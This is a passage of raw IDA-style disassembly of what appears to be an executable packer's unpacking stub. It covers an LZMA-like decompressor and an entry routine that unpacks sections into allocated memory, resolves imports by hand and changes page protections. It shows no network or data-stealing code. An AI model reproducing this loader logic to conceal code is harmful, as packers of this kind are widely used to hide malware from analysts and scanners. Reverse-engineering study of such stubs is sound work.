[ecx+8] cmp eax, 1000000h jnb short loc_619427 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_61940E mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_619413 ; --------------------------------------------------------------------------- loc_61940E: ; CODE XREF: sub_6193BA+46j mov dl, [esi] inc esi mov [ecx], esi loc_619413: ; CODE XREF: sub_6193BA+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_619427: ; CODE XREF: sub_6193BA+3Fj xor eax, eax jmp short loc_61947C ; --------------------------------------------------------------------------- loc_61942B: ; CODE XREF: sub_6193BA+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_61947C mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_619462 mov [ecx+10h], eax or bl, 0FFh jmp short loc_619467 ; --------------------------------------------------------------------------- loc_619462: ; CODE XREF: sub_6193BA+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_619467: ; CODE XREF: sub_6193BA+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_61947C: ; CODE XREF: sub_6193BA+6Fj ; sub_6193BA+96j pop edi pop esi retn sub_6193BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_61947F proc near ; CODE XREF: sub_619576+26p ; sub_619576+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_6194AA push esi push edi mov edi, [ebp+arg_4] loc_619490: ; CODE XREF: sub_61947F+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_6193BA pop ecx add eax, esi dec edi pop ecx jnz short loc_619490 pop edi pop esi loc_6194AA: ; CODE XREF: sub_61947F+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_61947F endp ; =============== S U B R O U T I N E ======================================= sub_6194B6 proc near ; CODE XREF: sub_6195EB+2F5p ; sub_6195EB+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_6194EC push esi loc_6194C6: ; CODE XREF: sub_6194B6+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_6193BA pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_6194C6 pop esi loc_6194EC: ; CODE XREF: sub_6194B6+Dj mov eax, ebx pop edi pop ebx retn sub_6194B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6194F1 proc near ; CODE XREF: sub_6195EB+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_6193BA pop ecx mov ebx, eax pop ecx or ebx, 2 loc_619520: ; CODE XREF: sub_6194F1+5Fj cmp esi, eax jnz short loc_619552 cmp ebx, 100h jge short loc_61956F movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_6193BA pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_619520 ; --------------------------------------------------------------------------- loc_619552: ; CODE XREF: sub_6194F1+31j mov esi, 100h loc_619557: ; CODE XREF: sub_6194F1+7Cj cmp ebx, esi jge short loc_61956F push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_6193BA pop ecx or ebx, eax pop ecx jmp short loc_619557 ; --------------------------------------------------------------------------- loc_61956F: ; CODE XREF: sub_6194F1+39j ; sub_6194F1+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_6194F1 endp ; =============== S U B R O U T I N E ======================================= sub_619576 proc near ; CODE XREF: sub_6195EB+24Fp ; sub_6195EB+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_6193BA pop ecx pop ecx test eax, eax push edi jnz short loc_6195A6 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_61947F add esp, 0Ch jmp short loc_6195E8 ; --------------------------------------------------------------------------- loc_6195A6: ; CODE XREF: sub_619576+16j lea eax, [esi+2] push eax call sub_6193BA pop ecx pop ecx test eax, eax push edi jnz short loc_6195D4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_61947F add esp, 0Ch add eax, 8 jmp short loc_6195E8 ; --------------------------------------------------------------------------- loc_6195D4: ; CODE XREF: sub_619576+3Ej add esi, 204h push 8 push esi call sub_61947F add esp, 0Ch add eax, 10h loc_6195E8: ; CODE XREF: sub_619576+2Ej ; sub_619576+5Cj pop edi pop esi retn sub_619576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_6195EB proc near ; CODE XREF: sub_619960+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_619653 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_619653: ; CODE XREF: sub_6195EB+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_619675: ; CODE XREF: sub_6195EB+AFj cmp [ebp+var_34], edi jnz short loc_619681 mov [ebp+var_24], edx or al, 0FFh jmp short loc_619689 ; --------------------------------------------------------------------------- loc_619681: ; CODE XREF: sub_6195EB+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_619689: ; CODE XREF: sub_6195EB+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_619675 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_619951 loc_6196AC: ; CODE XREF: sub_6195EB+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz loc_619761 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_619701 and [ebp+var_4], 0 jmp short loc_619711 ; --------------------------------------------------------------------------- loc_619701: ; CODE XREF: sub_6195EB+10Ej cmp [ebp+var_4], 0Ah jge short loc_61970D sub [ebp+var_4], 3 jmp short loc_619711 ; --------------------------------------------------------------------------- loc_61970D: ; CODE XREF: sub_6195EB+11Aj sub [ebp+var_4], 6 loc_619711: ; CODE XREF: sub_6195EB+114j ; sub_6195EB+120j cmp [ebp+var_14], 0 jz short loc_61973E mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_6194F1 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_61975C ; --------------------------------------------------------------------------- loc_61973E: ; CODE XREF: sub_6195EB+12Aj push 1 pop ebx loc_619741: ; CODE XREF: sub_6195EB+16Fj add ebx, ebx lea eax, [ebp+var_34] push eax lea eax, [ebx+edi] push eax call sub_6193BA or ebx, eax pop ecx cmp ebx, 100h pop ecx jl short loc_619741 loc_61975C: ; CODE XREF: sub_6195EB+151j mov eax, [ebp+arg_1C] jmp short loc_6197D4 ; --------------------------------------------------------------------------- loc_619761: ; CODE XREF: sub_6195EB+E0j mov ebx, [ebp+var_4] lea eax, [ebp+var_34] push eax mov [ebp+var_14], 1 lea eax, [esi+ebx*2+180h] push eax call sub_6193BA pop ecx cmp eax, 1 pop ecx jnz loc_61985A lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+198h] push eax call sub_6193BA pop ecx test eax, eax pop ecx lea eax, [ebp+var_34] push eax jnz short loc_6197E2 lea eax, [ebx+0Fh] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz short loc_61982E cmp ebx, 7 mov ecx, [ebp+arg_C] setnl al dec eax and al, 0FEh add eax, 0Bh sub ecx, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+arg_1C] mov bl, [ecx+eax] loc_6197D4: ; CODE XREF: sub_6195EB+174j mov ecx, [ebp+arg_C] inc [ebp+arg_C] mov [ecx+eax], bl jmp loc_619945 ; --------------------------------------------------------------------------- loc_6197E2: ; CODE XREF: sub_6195EB+1B5j lea eax, [esi+ebx*2+1B0h] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz short loc_6197FA mov eax, [ebp+var_10] jmp short loc_619825 ; --------------------------------------------------------------------------- loc_6197FA: ; CODE XREF: sub_6195EB+208j lea eax, [ebp+var_34] push eax lea eax, [esi+ebx*2+1C8h] push eax call sub_6193BA pop ecx test eax, eax pop ecx jnz short loc_619816 mov eax, [ebp+var_C] jmp short loc_61981F ; --------------------------------------------------------------------------- loc_619816: ; CODE XREF: sub_6195EB+224j mov ecx, [ebp+var_C] mov eax, [ebp+var_18] mov [ebp+var_18], ecx loc_61981F: ; CODE XREF: sub_6195EB+229j mov ecx, [ebp+var_10] mov [ebp+var_C], ecx loc_619825: ; CODE XREF: sub_6195EB+20Dj mov ecx, [ebp+var_8] mov [ebp+var_8], eax mov [ebp+var_10], ecx loc_61982E: ; CODE XREF: sub_6195EB+1CCj lea eax, [ebp+var_34] push edi push eax lea eax, [esi+0A68h] push eax call sub_619576 mov edi, eax add esp, 0Ch xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Bh mov [ebp+var_4], eax jmp loc_61991E ; --------------------------------------------------------------------------- loc_61985A: ; CODE XREF: sub_6195EB+196j mov eax, [ebp+var_C] push edi mov [ebp+var_18], eax mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_8] mov [ebp+var_10], eax xor eax, eax cmp ebx, 7 setnl al dec eax and al, 0FDh add eax, 0Ah mov [ebp+var_4], eax lea eax, [ebp+var_34] push eax lea eax, [esi+664h] push eax call sub_619576 mov edi, eax add esp, 0Ch cmp edi, 4 jge short loc_61989A jmp short loc_61989D ; --------------------------------------------------------------------------- loc_61989A: ; CODE XREF: sub_6195EB+2ABj push 3 pop eax loc_61989D: ; CODE XREF: sub_6195EB+2ADj shl eax, 7 lea ecx, [ebp+var_34] push ecx lea eax, [eax+esi+360h] push 6 push eax call sub_61947F add esp, 0Ch cmp eax, 4 jl short loc_619915 mov ecx, eax mov ebx, eax sar ecx, 1 and ebx, 1 dec ecx or ebx, 2 shl ebx, cl cmp eax, 0Eh jge short loc_6198EC lea edx, [ebp+var_34] push edx push ecx mov ecx, ebx sub ecx, eax lea eax, [esi+ecx*2+55Eh] push eax call sub_6194B6 add esp, 0Ch loc_6198E8: ; CODE XREF: sub_6195EB+328j add ebx, eax jmp short loc_61991A ; --------------------------------------------------------------------------- loc_6198EC: ; CODE XREF: sub_6195EB+2E2j add ecx, 0FFFFFFFCh lea eax, [ebp+var_34] push ecx push eax call sub_619358 shl eax, 4 add ebx, eax lea eax, [ebp+var_34] push eax lea eax, [esi+644h] push 4 push eax call sub_6194B6 add esp, 14h jmp short loc_6198E8 ; --------------------------------------------------------------------------- loc_619915: ; CODE XREF: sub_6195EB+2CEj mov [ebp+var_8], eax mov ebx, eax loc_61991A: ; CODE XREF: sub_6195EB+2FFj inc ebx mov [ebp+var_8], ebx loc_61991E: ; CODE XREF: sub_6195EB+26Aj cmp [ebp+var_8], 0 jz short loc_619951 inc edi inc edi loc_619926: ; CODE XREF: sub_6195EB+358j mov ecx, [ebp+arg_C] mov eax, [ebp+arg_1C] mov edx, ecx sub edx, [ebp+var_8] mov bl, [edx+eax] mov [ecx+eax], bl inc ecx dec edi mov [ebp+arg_C], ecx test edi, edi jle short loc_619945 cmp ecx, [ebp+arg_20] jb short loc_619926 loc_619945: ; CODE XREF: sub_6195EB+1F2j ; sub_6195EB+353j mov eax, [ebp+arg_C] cmp eax, [ebp+arg_20] jb loc_6196AC loc_619951: ; CODE XREF: sub_6195EB+BBj ; sub_6195EB+337j mov ecx, [ebp+arg_24] mov eax, [ebp+arg_C] pop edi pop esi mov [ecx], eax xor eax, eax pop ebx leave retn sub_6195EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_619960 proc near ; CODE XREF: start+1A2p start+25Cp ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_6199D2 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_619990 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_61998A: ; CODE XREF: sub_619960+2Ej add cl, 0D3h dec eax jnz short loc_61998A loc_619990: ; CODE XREF: sub_619960+1Bj cmp cl, 9 jb short loc_6199A7 movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_6199A1: ; CODE XREF: sub_619960+45j add cl, 0F7h dec eax jnz short loc_6199A1 loc_6199A7: ; CODE XREF: sub_619960+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call ds:VirtualAlloc ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_6199D7 loc_6199D2: ; CODE XREF: sub_619960+11j push 1 pop eax jmp short loc_619A34 ; --------------------------------------------------------------------------- loc_6199D7: ; CODE XREF: sub_619960+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_6195EB add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call ds:VirtualFree ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_61A539 add esp, 14h mov eax, edi loc_619A34: ; CODE XREF: sub_619960+75j pop edi pop esi pop ebx leave retn sub_619960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; DATA XREF: start+30o var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0061A232 SIZE 00000005 BYTES push ebp mov ebp, esp sub esp, 60h push ebx push esi push edi and [ebp+var_28], 0 rep jmp short loc_619A55 ; --------------------------------------------------------------------------- db 65h, 58h, 50h dd 2E762D72h, 2E342E31h db 0 ; --------------------------------------------------------------------------- loc_619A55: ; CODE XREF: start+Dj mov eax, ds:dword_619000 add eax, offset dword_619000 mov ds:dword_619024, eax mov eax, ds:dword_619024 mov ecx, offset start sub ecx, [eax+18h] mov ds:dword_619028, ecx cmp ds:dword_61902C, 0 jz short loc_619A96 mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+14h] mov [ebp+var_38], ecx jmp loc_61A1CD ; --------------------------------------------------------------------------- loc_619A96: ; CODE XREF: start+45j mov ds:dword_61902C, 1 push 4 push 1000h push 80h push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_24], eax cmp [ebp+arg_4], 1 jz short loc_619AC1 and [ebp+arg_0], 0 loc_619AC1: ; CODE XREF: start+82j push 4 push 1000h push 104h push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_14], eax push 104h push [ebp+var_14] push [ebp+arg_0] call ds:GetModuleFileNameA ; GetModuleFileNameA mov ecx, [ebp+var_14] lea eax, [ecx+eax-1] mov [ebp+var_58], eax loc_619AF3: ; CODE XREF: start+CCj mov eax, [ebp+var_58] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_619B07 mov eax, [ebp+var_58] dec eax mov [ebp+var_58], eax jmp short loc_619AF3 ; --------------------------------------------------------------------------- loc_619B07: ; CODE XREF: start+C3j mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax mov eax, [ebp+var_58] sub eax, [ebp+var_14] mov [ebp+var_54], eax push 4 push 1000h push 104h push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_4], eax mov ecx, [ebp+var_54] mov esi, [ebp+var_14] mov edi, [ebp+var_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_4] add eax, [ebp+var_54] and byte ptr [eax+1], 0 mov eax, ds:dword_619020 shl eax, 6 mov ecx, ds:dword_619028 add ecx, eax mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, ds:dword_619028 add ecx, [eax+3Ch] mov [ebp+var_10], ecx mov eax, [ebp+var_10] add eax, 0F8h mov [ebp+var_40], eax mov eax, ds:dword_619024 cmp dword ptr [eax+68h], 0 jz short loc_619BFA mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+80h] mov ds:dword_61A6BC, ecx mov eax, ds:dword_61A6BC mov [ebp+var_3C], eax mov eax, ds:dword_619024 mov eax, [eax+8] mov ds:dword_61A6C0, eax mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+10h] mov ds:dword_61A6B8, ecx push ds:dword_61A6BC mov eax, ds:dword_619024 push dword ptr [eax+4] push ds:dword_61A6B8 call sub_619960 add esp, 0Ch mov eax, ds:dword_619024 push dword ptr [eax+6Ch] push [ebp+var_3C] call sub_61A2B8 pop ecx pop ecx jmp loc_61A230 ; --------------------------------------------------------------------------- loc_619BFA: ; CODE XREF: start+14Cj mov eax, ds:dword_619024 cmp dword ptr [eax+64h], 0 jz loc_619D24 push 4 push 1000h mov eax, ds:dword_619024 push dword ptr [eax+4] push 0 call ds:VirtualAlloc ; VirtualAlloc mov [ebp+var_3C], eax mov eax, [ebp+var_3C] mov ds:dword_61A6BC, eax cmp ds:dword_61A6BC, 0 jnz short loc_619C4E push 30h push [ebp+var_58] push offset aErrorAllocatin ; "Error allocating memory!" push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_619C4E: ; CODE XREF: start+1F9j mov eax, ds:dword_619024 mov eax, [eax+8] mov ds:dword_61A6C0, eax mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+10h] mov eax, ds:dword_619024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov ds:dword_61A6B8, ecx push ds:dword_61A6BC mov eax, ds:dword_619024 push dword ptr [eax+4] push ds:dword_61A6B8 call sub_619960 add esp, 0Ch jmp short loc_619CA6 ; --------------------------------------------------------------------------- loc_619C9F: ; CODE XREF: start+2D4j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_619CA6: ; CODE XREF: start+264j mov eax, ds:dword_619024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge short loc_619D0F mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov ecx, [ecx+eax+7Ch] mov esi, ds:dword_61A6BC mov eax, [ebp+var_28] imul eax, 18h mov edx, ds:dword_619024 mov edi, ds:dword_619028 add edi, [edx+eax+80h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov edx, ds:dword_61A6BC add edx, [ecx+eax+7Ch] mov ds:dword_61A6BC, edx jmp short loc_619C9F ; --------------------------------------------------------------------------- loc_619D0F: ; CODE XREF: start+279j push 8000h push 0 push [ebp+var_3C] call ds:VirtualFree ; VirtualFree jmp loc_619E0E ; --------------------------------------------------------------------------- loc_619D24: ; CODE XREF: start+1CAj mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+10h] mov eax, ds:dword_619024 sub ecx, [eax+0Ch] mov eax, ds:dword_619024 mov esi, [ebp+var_10] mov eax, [eax+78h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_3C], ecx and [ebp+var_28], 0 jmp short loc_619D5C ; --------------------------------------------------------------------------- loc_619D55: ; CODE XREF: start:loc_619E09j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax loc_619D5C: ; CODE XREF: start+31Aj mov eax, ds:dword_619024 movzx eax, word ptr [eax+70h] cmp [ebp+var_28], eax jge loc_619E0E mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 cmp dword ptr [ecx+eax+74h], 0 jz loc_619E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 cmp dword ptr [ecx+eax+7Ch], 0 jbe short loc_619E09 mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov edx, ds:dword_619028 add edx, [ecx+eax+80h] mov ds:dword_61A6BC, edx mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov eax, [ecx+eax+7Ch] mov ds:dword_61A6C0, eax mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 mov edx, [ebp+var_3C] add edx, [ecx+eax+78h] mov ds:dword_61A6B8, edx push ds:dword_61A6BC mov eax, [ebp+var_28] imul eax, 18h mov ecx, ds:dword_619024 push dword ptr [ecx+eax+7Ch] push ds:dword_61A6B8 call sub_619960 add esp, 0Ch loc_619E09: ; CODE XREF: start+346j start+35Dj jmp loc_619D55 ; --------------------------------------------------------------------------- loc_619E0E: ; CODE XREF: start+2E6j start+32Fj mov eax, ds:dword_619024 mov ecx, ds:dword_619028 add ecx, [eax+24h] mov [ebp+var_50], ecx loc_619E1F: ; CODE XREF: start+5F7j mov eax, [ebp+var_50] cmp dword ptr [eax+0Ch], 0 jz loc_61A035 mov eax, ds:dword_619024 cmp dword ptr [eax+24h], 0 jz loc_61A035 lea eax, [ebp+var_48] push eax push 40h push 14h push [ebp+var_50] call ds:VirtualProtect ; VirtualProtect mov eax, [ebp+var_50] mov ecx, ds:dword_619028 add ecx, [eax+0Ch] mov [ebp+var_C], ecx push [ebp+var_C] call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+var_30], eax cmp [ebp+var_30], 0 jnz short loc_619E7D push 8 push 0 push [ebp+var_C] call ds:LoadLibraryExA ; LoadLibraryExA mov [ebp+var_30], eax loc_619E7D: ; CODE XREF: start+432j cmp [ebp+var_30], 0 jnz short loc_619EBB mov edi, [ebp+var_C] mov eax, [ebp+var_4] add eax, [ebp+var_54] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 push [ebp+var_4] call ds:LoadLibraryExA ; LoadLibraryExA mov [ebp+var_30], eax loc_619EBB: ; CODE XREF: start+448j cmp [ebp+var_30], 0 jnz short loc_619EED push [ebp+var_C] push offset aARequired_dllF ; "A required .DLL file, %hs, was not foun"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 0Ch push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_619EED: ; CODE XREF: start+486j mov eax, [ebp+var_50] mov ecx, [ebp+var_30] mov [eax+8], ecx mov eax, [ebp+var_50] mov dword ptr [eax+4], 0CDC31337h mov eax, [ebp+var_50] mov ecx, ds:dword_619028 add ecx, [eax+10h] mov [ebp+var_20], ecx mov eax, [ebp+var_50] cmp dword ptr [eax], 0 jnz short loc_619F1F mov eax, [ebp+var_20] mov [ebp+var_18], eax jmp short loc_619F2D ; --------------------------------------------------------------------------- loc_619F1F: ; CODE XREF: start+4DCj mov eax, [ebp+var_50] mov ecx, ds:dword_619028 add ecx, [eax] mov [ebp+var_18], ecx loc_619F2D: ; CODE XREF: start+4E4j start+5E9j mov eax, [ebp+var_18] cmp dword ptr [eax], 0 jz loc_61A027 and [ebp+var_5C], 0 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_619F67 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_30] call ds:GetProcAddress ; GetProcAddress mov [ebp+var_5C], eax jmp short loc_619F87 ; --------------------------------------------------------------------------- loc_619F67: ; CODE XREF: start+510j mov eax, [ebp+var_18] mov eax, [eax] add eax, ds:dword_619028 mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_30] call ds:GetProcAddress ; GetProcAddress mov [ebp+var_5C], eax loc_619F87: ; CODE XREF: start+52Cj cmp [ebp+var_5C], 0 jnz short loc_619FF7 mov eax, [ebp+var_18] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_619FC2 mov eax, [ebp+var_18] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsLin ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 14h jmp short loc_619FDF ; --------------------------------------------------------------------------- loc_619FC2: ; CODE XREF: start+560j mov eax, [ebp+var_8] inc eax inc eax push eax push [ebp+var_C] push [ebp+var_58] push offset aTheHsFileIsL_0 ; "The %hs file is \nlinked to missing expo"... push [ebp+var_24] call ds:wsprintfA ; wsprintfA add esp, 14h loc_619FDF: ; CODE XREF: start+587j push 30h push [ebp+var_58] push [ebp+var_24] push 0 call ds:MessageBoxA ; MessageBoxA push 0 call ds:ExitProcess ; ExitProcess loc_619FF7: ; CODE XREF: start+552j lea eax, [ebp+var_48] push eax push 40h push 4 push [ebp+var_20] call ds:VirtualProtect ; VirtualProtect mov eax, [ebp+var_20] mov ecx, [ebp+var_5C] mov [eax], ecx mov eax, [ebp+var_18] add eax, 4 mov [ebp+var_18], eax mov eax, [ebp+var_20] add eax, 4 mov [ebp+var_20], eax jmp loc_619F2D ; --------------------------------------------------------------------------- loc_61A027: ; CODE XREF: start+4FAj mov eax, [ebp+var_50] add eax, 14h mov [ebp+var_50], eax jmp loc_619E1F ; --------------------------------------------------------------------------- loc_61A035: ; CODE XREF: start+3EDj start+3FCj mov eax, ds:dword_619024 mov eax, [eax+1Ch] cmp eax, ds:dword_619028 jz loc_61A1AC mov eax, ds:dword_619024 cmp dword ptr [eax+28h], 0 jz loc_61A1AC mov eax, ds:dword_619024 mov 